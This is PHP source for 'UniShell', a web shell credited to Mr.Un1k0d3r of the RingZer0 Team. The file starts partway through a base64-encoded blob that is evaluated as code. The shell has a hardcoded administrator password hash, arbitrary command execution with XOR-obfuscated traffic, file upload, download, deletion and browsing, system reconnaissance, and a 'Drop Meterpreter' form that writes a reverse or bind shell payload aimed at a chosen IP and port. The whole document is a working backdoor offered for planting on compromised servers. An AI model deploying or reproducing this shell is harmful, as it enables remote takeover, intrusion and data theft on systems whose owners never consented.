QnpiMk5yWlhSZmNtVmhaQ2drY3l3Z0pHeGxiaTF6ZEhKc1pXNG9KR0lwS1RzZ1luSmxZV3M3Q2dsOUNuMEtDaU1nVTJWMElIVndJSFJvWlNCemIyTnJaWFFnWm05eUlIUm9aU0J0WVdsdUlITjBZV2RsSUhSdklIVnpaUzRLSkVkTVQwSkJURk5iSjIxelozTnZZMnNuWFNBOUlDUnpPd29rUjB4UFFrRk1VMXNuYlhObmMyOWphMTkwZVhCbEoxMGdQU0FrYzE5MGVYQmxPd3BsZG1Gc0tDUmlLVHNLWkdsbEtDazdDajgrQ2c9PSc7CgkJCSRtZXRlcnByZXRlci0+cGF5bG9hZCA9IHN0cl9yZXBsYWNlKCdbSVBdJywgJG1ldGVycHJldGVyLT5pcCwgc3RyX3JlcGxhY2UoJ1tQT1JUXScsICRtZXRlcnByZXRlci0+cG9ydCwgYmFzZTY0X2RlY29kZSgkbWV0ZXJwcmV0ZXItPnskbWV0ZXJwcmV0ZXItPnR5cGV9KSkpOwoJCQkkZmQgPSBmb3BlbigkbWV0ZXJwcmV0ZXItPnBhdGgsICJ3KyIpOwoJCQlpZighJGZkKSB7CgkJCQkkY29uZmlnLT5lcnJvcl9tZXRlcnByZXRlciA9ICc8ZGl2IGNsYXNzPSJlcnJvciI+Q2Fubm90IGNyZWF0ZSAnIC4gVTo6UCgkbWV0ZXJwcmV0ZXItPnBhdGgpIC4gJzwvZGl2Pic7CgkJCX0gZWxzZSB7CgkJCQlmd3JpdGUoJGZkLCAkbWV0ZXJwcmV0ZXItPnBheWxvYWQpOwoJCQkJZmNsb3NlKCRmZCk7CgkJCQkkY29uZmlnLT5lcnJvcl9tZXRlcnByZXRlciA9ICc8ZGl2IGNsYXNzPSJlcnJvciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICM2NWJlMDAiPicgLiBVOjpQKCRtZXRlcnByZXRlci0+cGF0aCkgLiAnIGhhcyBiZWVuIGNyZWF0ZWQ8L2Rpdj4nOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gTG9nb3V0KCkgewoJCWlmKGlzc2V0KCRfUkVRVUVTVFsnbG9nb3V0J10pKSB7CgkJCXNlc3Npb25fZGVzdHJveSgpOwoJCQloZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwoJCQlkaWUoKTsKCQl9Cgl9Cn0KY2xhc3MgVSBleHRlbmRzIFV0aWwge307Cg==')));

Util::Logout();

$config = (object)array();
$config->key = (isset($_SESSION['KEY']) ? $_SESSION['KEY'] : Crypto::GenKey(32));
$config->username = 'administrator';
$config->password = 'ba68c1257dfa8e63fed22e9da36a5ed4fad985944ba24f37ece33401fa02c04e664f8862e7164de52c20fd319d2f75d088a85986bffb0b0f79b0f4c89b6ea71c';
$config->error = null;
$config->error_meterpreter = null;

// Post Auth Stuff
Login::LoginRequest($config);
$config->logged = (isset($_SESSION['UNISHELL']) ? true : false);
$config->current_dir = Util::GetCWD();
$config->system_info = Util::GetSystemInfo();

if(Login::IsLogged()) {
 if(isset($_REQUEST['ajax'])) {
  ob_start();
 }
 Util::ChangeCWD($config);
 Util::GetCmd($config);
 Util::UploadFile($config);
 Util::DownloadFile();
 Util::DeleteFile();
 Util::GenMeterpreter($config);
}
?>
<!DOCTYPE html>
<html>
 <head>
  <title>UniShell v<?php echo $version; ?></title>
 </head>
 <body>
  <script>
   var CryptoJS=CryptoJS||function(a,m){var r={},f=r.lib={},g=function(){},l=f.Base={extend:function(a){g.prototype=this;var b=new g;a&&b.mixIn(a);b.hasOwnProperty("init")||(b.init=function(){b.$super.init.apply(this,arguments)});b.init.prototype=b;b.$super=this;return b},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var b in a)a.hasOwnProperty(b)&&(this[b]=a[b]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},
p=f.WordArray=l.extend({init:function(a,b){a=this.words=a||[];this.sigBytes=b!=m?b:4*a.length},toString:function(a){return(a||q).stringify(this)},concat:function(a){var b=this.words,d=a.words,c=this.sigBytes;a=a.sigBytes;this.clamp();if(c%4)for(var j=0;j<a;j++)b[c+j>>>2]|=(d[j>>>2]>>>24-8*(j%4)&255)<<24-8*((c+j)%4);else if(65535<d.length)for(j=0;j<a;j+=4)b[c+j>>>2]=d[j>>>2];else b.push.apply(b,d);this.sigBytes+=a;return this},clamp:function(){var n=this.words,b=this.sigBytes;n[b>>>2]&=4294967295<<
32-8*(b%4);n.length=a.ceil(b/4)},clone:function(){var a=l.clone.call(this);a.words=this.words.slice(0);return a},random:function(n){for(var b=[],d=0;d<n;d+=4)b.push(4294967296*a.random()|0);return new p.init(b,n)}}),y=r.enc={},q=y.Hex={stringify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c++){var j=b[c>>>2]>>>24-8*(c%4)&255;d.push((j>>>4).toString(16));d.push((j&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>>3]|=parseInt(a.substr(c,
2),16)<<24-4*(c%8);return new p.init(d,b/2)}},G=y.Latin1={stringify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c++)d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++)d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return new p.init(d,b)}},fa=y.Utf8={stringify:function(a){try{return decodeURIComponent(escape(G.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return G.parse(unescape(encodeURIComponent(a)))}},
h=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=new p.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=fa.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(n){var b=this._data,d=b.words,c=b.sigBytes,j=this.blockSize,l=c/(4*j),l=n?a.ceil(l):a.max((l|0)-this._minBufferSize,0);n=l*j;c=a.min(4*n,c);if(n){for(var h=0;h<n;h+=j)this._doProcessBlock(d,h);h=d.splice(0,n);b.sigBytes-=c}return new p.init(h,c)},clone:function(){var a=l.clone.call(this);
a._data=this._data.clone();return a},_minBufferSize:0});f.Hasher=h.extend({cfg:l.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){h.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,d){return(new a.init(d)).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return(new ga.HMAC.init(a,
d)).finalize(b)}}});var ga=r.algo={};return r}(Math);
(function(a){var m=CryptoJS,r=m.lib,f=r.Base,g=r.WordArray,m=m.x64={};m.Word=f.extend({init:function(a,p){this.high=a;this.low=p}});m.WordArray=f.extend({init:function(l,p){l=this.words=l||[];this.sigBytes=p!=a?p:8*l.length},toX32:function(){for(var a=this.words,p=a.length,f=[],q=0;q<p;q++){var G=a[q];f.push(G.high);f.push(G.low)}return g.create(f,this.sigBytes)},clone:function(){for(var a=f.clone.call(this),p=a.words=this.words.slice(0),g=p.length,q=0;q<g;q++)p[q]=p[q].clone();return a}})})();
(function(){function a(){return g.create.apply(g,arguments)}for(var m=CryptoJS,r=m.lib.Hasher,f=m.x64,g=f.Word,l=f.WordArray,f=m.algo,p=[a(1116352408,3609767458),a(1899447441,602891725),a(3049323471,3964484399),a(3921009573,2173295548),a(961987163,4081628472),a(1508970993,3053834265),a(2453635748,2937671579),a(2870763221,3664609560),a(3624381080,2734883394),a(310598401,1164996542),a(607225278,1323610764),a(1426881987,3590304994),a(1925078388,4068182383),a(2162078206,991336113),a(2614888103,633803317),
a(3248222580,3479774868),a(3835390401,2666613458),a(4022224774,944711139),a(264347078,2341262773),a(604807628,2007800933),a(770255983,1495990901),a(1249150122,1856431235),a(1555081692,3175218132),a(1996064986,2198950837),a(2554220882,3999719339),a(2821834349,766784016),a(2952996808,2566594879),a(3210313671,3203337956),a(3336571891,1034457026),a(3584528711,2466948901),a(113926993,3758326383),a(338241895,168717936),a(666307205,1188179964),a(773529912,1546045734),a(1294757372,1522805485),a(1396182291,
2643833823),a(1695183700,2343527390),a(1986661051,1014477480),a(2177026350,1206759142),a(2456956037,344077627),a(2730485921,1290863460),a(2820302411,3158454273),a(3259730800,3505952657),a(3345764771,106217008),a(3516065817,3606008344),a(3600352804,1432725776),a(4094571909,1467031594),a(275423344,851169720),a(430227734,3100823752),a(506948616,1363258195),a(659060556,3750685593),a(883997877,3785050280),a(958139571,3318307427),a(1322822218,3812723403),a(1537002063,2003034995),a(1747873779,3602036899),
a(1955562222,1575990012),a(2024104815,1125592928),a(2227730452,2716904306),a(2361852424,442776044),a(2428436474,593698344),a(2756734187,3733110249),a(3204031479,2999351573),a(3329325298,3815920427),a(3391569614,3928383900),a(3515267271,566280711),a(3940187606,3454069534),a(4118630271,4000239992),a(116418474,1914138554),a(174292421,2731055270),a(289380356,3203993006),a(460393269,320620315),a(685471733,587496836),a(852142971,1086792851),a(1017036298,365543100),a(1126000580,2618297676),a(1288033470,
3409855158),a(1501505948,4234509866),a(1607167915,987167468),a(1816402316,1246189591)],y=[],q=0;80>q;q++)y[q]=a();f=f.SHA512=r.extend({_doReset:function(){this._hash=new l.init([new g.init(1779033703,4089235720),new g.init(3144134277,2227873595),new g.init(1013904242,4271175723),new g.init(2773480762,1595750129),new g.init(1359893119,2917565137),new g.init(2600822924,725511199),new g.init(528734635,4215389547),new g.init(1541459225,327033209)])},_doProcessBlock:function(a,f){for(var h=this._hash.words,
g=h[0],n=h[1],b=h[2],d=h[3],c=h[4],j=h[5],l=h[6],h=h[7],q=g.high,m=g.low,r=n.high,N=n.low,Z=b.high,O=b.low,$=d.high,P=d.low,aa=c.high,Q=c.low,ba=j.high,R=j.low,ca=l.high,S=l.low,da=h.high,T=h.low,v=q,s=m,H=r,E=N,I=Z,F=O,W=$,J=P,w=aa,t=Q,U=ba,K=R,V=ca,L=S,X=da,M=T,x=0;80>x;x++){var B=y[x];if(16>x)var u=B.high=a[f+2*x]|0,e=B.low=a[f+2*x+1]|0;else{var u=y[x-15],e=u.high,z=u.low,u=(e>>>1|z<<31)^(e>>>8|z<<24)^e>>>7,z=(z>>>1|e<<31)^(z>>>8|e<<24)^(z>>>7|e<<25),D=y[x-2],e=D.high,k=D.low,D=(e>>>19|k<<13)^
(e<<3|k>>>29)^e>>>6,k=(k>>>19|e<<13)^(k<<3|e>>>29)^(k>>>6|e<<26),e=y[x-7],Y=e.high,C=y[x-16],A=C.high,C=C.low,e=z+e.low,u=u+Y+(e>>>0<z>>>0?1:0),e=e+k,u=u+D+(e>>>0<k>>>0?1:0),e=e+C,u=u+A+(e>>>0<C>>>0?1:0);B.high=u;B.low=e}var Y=w&U^~w&V,C=t&K^~t&L,B=v&H^v&I^H&I,ha=s&E^s&F^E&F,z=(v>>>28|s<<4)^(v<<30|s>>>2)^(v<<25|s>>>7),D=(s>>>28|v<<4)^(s<<30|v>>>2)^(s<<25|v>>>7),k=p[x],ia=k.high,ea=k.low,k=M+((t>>>14|w<<18)^(t>>>18|w<<14)^(t<<23|w>>>9)),A=X+((w>>>14|t<<18)^(w>>>18|t<<14)^(w<<23|t>>>9))+(k>>>0<M>>>
0?1:0),k=k+C,A=A+Y+(k>>>0<C>>>0?1:0),k=k+ea,A=A+ia+(k>>>0<ea>>>0?1:0),k=k+e,A=A+u+(k>>>0<e>>>0?1:0),e=D+ha,B=z+B+(e>>>0<D>>>0?1:0),X=V,M=L,V=U,L=K,U=w,K=t,t=J+k|0,w=W+A+(t>>>0<J>>>0?1:0)|0,W=I,J=F,I=H,F=E,H=v,E=s,s=k+e|0,v=A+B+(s>>>0<k>>>0?1:0)|0}m=g.low=m+s;g.high=q+v+(m>>>0<s>>>0?1:0);N=n.low=N+E;n.high=r+H+(N>>>0<E>>>0?1:0);O=b.low=O+F;b.high=Z+I+(O>>>0<F>>>0?1:0);P=d.low=P+J;d.high=$+W+(P>>>0<J>>>0?1:0);Q=c.low=Q+t;c.high=aa+w+(Q>>>0<t>>>0?1:0);R=j.low=R+K;j.high=ba+U+(R>>>0<K>>>0?1:0);S=l.low=
S+L;l.high=ca+V+(S>>>0<L>>>0?1:0);T=h.low=T+M;h.high=da+X+(T>>>0<M>>>0?1:0)},_doFinalize:function(){var a=this._data,f=a.words,h=8*this._nDataBytes,g=8*a.sigBytes;f[g>>>5]|=128<<24-g%32;f[(g+128>>>10<<5)+30]=Math.floor(h/4294967296);f[(g+128>>>10<<5)+31]=h;a.sigBytes=4*f.length;this._process();return this._hash.toX32()},clone:function(){var a=r.clone.call(this);a._hash=this._hash.clone();return a},blockSize:32});m.SHA512=r._createHelper(f);m.HmacSHA512=r._createHmacHelper(f)})();

   function prepare(current, array) {
    var async = document.getElementById("async") == null ? false : document.getElementById("async").checked;
    if(!async) {
     for(index = 0; index < array.length; index++) {
      element = document.getElementById(array[index]);  
      if(current == "login" && array[index] == "p") {
       element.value = CryptoJS.SHA512(element.value);
      } else {
       element.value = crypto(element.value);
      }
     } 
     document.getElementById(current).submit();
    } else {
     document.getElementById("exec-output").innerHTML = '<div id="loader-div"><img id="loader" style="margin-top: 10px;" src="" /> executing...</div>';
     document.getElementById("loader-div").style.display = "block";
     ajax_call("ajax=1&cmd=" + crypto(document.getElementById("cmd").value));
    }  
   }

   function ajax_call(data) {
    var xmlhttp;
    if(window.XMLHttpRequest) {
     xmlhttp = new XMLHttpRequest();
    } else {
     xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    
    xmlhttp.onreadystatechange = function() {
     if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
      document.getElementById("loader-div").style.display = "none";
      document.getElementById("exec-output").innerHTML = xmlhttp.responseText; 
     }
    }
   
    xmlhttp.open("POST","<?php $_SERVER['PHP_SELF']; ?>", false);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp.send(data);
   }

   function crypto(buffer) {
    key = "<?php echo $config->key; ?>";
    output = ""; 
    j = -1;
    for(i = 0; i < buffer.length; i++) {
     if(++j == key.length) {
      j = 0;
     }     
      output += String.fromCharCode(buffer[i].charCodeAt(0).toString(10) ^ key[j].charCodeAt(0).toString(10));
    }
    return encodeURI(b64(output));
   }

   function b64(s) {
    var b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'.split("");
    var r = ""; 
    var p = ""; 
    var c = s.length % 3;

    if(c > 0) { 
     for(; c < 3; c++) { 
      p += '='; 
      s += "\0"; 
     } 
    }

    for(c = 0; c < s.length; c += 3) {
     if(c > 0 && (c / 3 * 4) % 76 == 0) { 
      r += "\r\n"; 
     }

     var n = (s.charCodeAt(c) << 16) + (s.charCodeAt(c+1) << 8) + s.charCodeAt(c+2);
     n = [(n >>> 18) & 63, (n >>> 12) & 63, (n >>> 6) & 63, n & 63];

     r += b64chars[n[0]] + b64chars[n[1]] + b64chars[n[2]] + b64chars[n[3]];
    }
    return r.substring(0, r.length - p.length) + p;
   }
  </script>
  <style type="text/css">
   body {
    font-family: "Trebuchet MS",Helvetica,sans-serif;
    background: url(
);   
   }

   header {
    background-color: black;
    box-shadow: 0 0 10px black;
    position: fixed;
    top: 0;
    left: 0;
    height: 25px;
    width: 100%;
    border-bottom: 1px solid #a1a1a1;
    color: white;
    padding: 10px;
   }

   footer {
    width: 400px;
    margin: auto;
    font-size: 0.3cm;
    text-align: center;
    margin-top: 25px;
   }

   .clear {
    height: 75px;
    width: 100%;
   }   

   .btn {
    text-decoration: none;
    text-align: center;
    vertical-align: middle;
    white-space: nowrap;
    margin-bottom: 0;
    font-weight: 400;
    cursor: pointer;
    display: inline-block;
    -moz-user-select: none;
    background-image: none;
    color: #fff;
    border-radius: 4px;
    font-size: 12px;
    line-height: 1.5;
    padding: 5px 10px;
    background-color: black;
    border: none;
    border: 1px solid #8a8a8a;
    min-width: 100px;
   }

   .btn:hover {
    background-color: #52ab00;
    box-shadow: 0 0 3px black;
    border: 1px solid #65be00;
   }

   input[type="text"], input[type="password"], input[type="file"] {
    width: 90%;
    padding: 5px;
   }

   input {
    margin-bottom: 12px;
   }

   b {
    text-decoration: none;
    font-size: 0.5cm;
   } 

   td {
    border-bottom: 1px solid #cccccc;
    border-top: 1px solid white;
   }

   table {
    border-top: 1px solid #cccccc;
    border-bottom: 1px solid white;
    margin-top: 10px;
   }

   a, a:visited {
    color: black;
    text-decoration: none;
   }

   a:hover {
    color: #5f5f5f;
    cursor: pointer;
   }
  
   .title {
    font-weight: bold;
    min-width: 150px;
   }
   
   .small {
    font-size: 0.3cm;
   }

   .console {
    font-family: "Lucida Console", Monaco, monospace;
    font-size: 0.3cm;
   }

   .error {
    width: 80%;
    background-color: #ac0000;
    color: white;
    font-size: 0.35cm;
    text-align: center;
    padding: 5px;
    margin: auto;
    border-radius: 3px;
    margin-top: 12px;
   }

   .box {
    border-radius: 3px;
    padding: 25px;
    background-color: #efefef;
    margin: auto;
    box-shadow: 0 0 3px black;
    font-size: 0.35cm;
    margin-bottom: 25px;
   }

   .login {
    width: 350px;
   }

   .generic {
    width: 80%;
   }

   #loader-div {
    color: black;
    display: none;
   }

   .menu {
    color: white;
   }

   .menu:hover {
    cursor: pointer;
   }
   .menu:visited {
    color: white;
   }  
  </style>
  <header>
   UniSHELL v<?php echo $version; ?> | <i><span style="color: #65be00">Obfuscated</span></i>
   <span class="small" style="float: right; margin-right: 30px; margin-top: 5px;">
   <?php echo $config->system_info; ?>
   </span>
  </header>
  <div class="clear"></div>
<?php if($config->logged): ?>
  <?php echo Util::ViewFile(); ?>
  <a href="#top" class="btn menu" style="position: fixed; right: 10px; bottom: 150px">Top</a>
  <a href="#exec" class="btn menu" style="position: fixed; right: 10px; bottom: 115px">Execute Command</a>
  <a href="#meter" class="btn menu" style="position: fixed; right: 10px; bottom: 80px">Drop Meterpreter</a>
  <a href="#upload" class="btn menu" style="position: fixed; right: 10px; bottom: 45px">Upload File</a>
  <a href="#browse" class="btn menu" style="position: fixed; right: 10px; bottom: 10px">Browse System</a>
  <a name="top"></a>
  <div class="box generic">
   <b>System Info</b>
   <table cellpadding="7" cellspacing="0">
    <?php echo Util::GetAll(); ?>
   </table>
  </div>
  <a name="exec"></a>
  <div class="box generic">
   <b>Execute command</b>
   <table cellpadding="7" cellspacing="0">
    <tr><td valign="top" class="title">Command</td><td>
     <form action="#exec" method="post" id="execute">
      <input type="text" name="cmd" id="cmd" value="<?php echo U::P($config->cmd); ?>" style=" width: 610px" /><br />
      <input type="button" class="btn" onclick="prepare('execute', ['cmd'])" value="Execute" />
      <input type="checkbox" id="async" /> Async mode
     </form>
    </td></tr>
    <tr><td valign="top" class="title">Output</td><td class="console" id="exec-output" style="color: #0000ac;">
    <div id="loader-div"><img id="loader" style="margin-top: 10px;" src="" /> executing...</div>
    <?php echo Util::Execute($config); ?></td></tr>
   </table>
  </div>
  <a name="meter"></a>
  <div class="box generic">
   <b>Drop Meterpreter</b>
   <table cellpadding="7" cellspacing="0">
    <tr><td valign="top" class="title">Options</td><td>
     <form action="#exec" method="post" id="meter">
      <input type="text" name="t" id="t" style=" width: 610px" placeholder="Type (reverse/bind)" /><br />
      <input type="text" name="i" id="i" style=" width: 610px" placeholder="Ip address" /><br />
      <input type="text" name="p" id="p" style=" width: 610px" placeholder="Port" /><br />
      <input type="text" name="pa" id="pa" style=" width: 610px" value="<?php echo U::P($config->current_dir) . Crypto::GenRand(10) . '.php'; ?>" placeholder="Path" /><br />
      <input type="button" class="btn" onclick="prepare('meter', ['t', 'i', 'p', 'pa'])" value="Generate" />
     </form>
    </td></tr>
   </table>
   <?php echo $config->error_meterpreter; ?>
  </div>
  <a name="upload"></a>
  <div class="box generic">
   <b>Upload file</b>
   <table cellpadding="7" cellspacing="0">
    <tr><td valign="top" class="title">Path</td><td>
     <form action="#upload" method="post" enctype="multipart/form-data">
      <input type="text" name="p" value="" style=" width: 610px" /><br />
      <input type="file" name="f" style="width: 300px" /><br />
      <input type="submit" class="btn" value="Upload" />
     </form>
    </td></tr>
   </table>
   <?php echo $config->error; ?>
  </div>
  <a name="browse"></a>
  <div class="box generic">
   <b>Browse System</b>
   <table cellpadding="7" cellspacing="0">
    <tr><td valign="top" class="title">Change Location</td><td>
     <form action="#browse" method="post" id="change">
      <input type="text" name="ccd" id="ccd" style=" width: 610px" value="<?php echo U::P($config->current_dir); ?>" /><br />
      <input type="button" class="btn" onclick="prepare('change', ['ccd'])" value="Change" />
     </form>
    </td></tr>
    <tr><td valign="top" class="title">Current Location</td><td><?php echo U::P($config->current_dir); ?></td></tr>
    <?php echo Util::GetFileList($config); ?>
   </table>
  </div>
<?php else: ?>
  <div class="box login">
   <form action="" method="post" id="login">
    Username:<br />
    <input type="text" name="u" id="u" placeholder="Username" /><br />
    Password:<br />
    <input type="password" name="p" id="p" placeholder="Password" /><br />
    <input type="button" onclick="prepare('login', ['u', 'p'])" value="Login" class="btn" /><br />
   </form>
   <?php echo $config->error; ?>
  </div>
<?php endif; ?>
  <footer>
   &copy; Mr.Un1k0d3r RingZer0 Team <?php echo date('Y'); ?>
  </footer>
 </body>
</html>
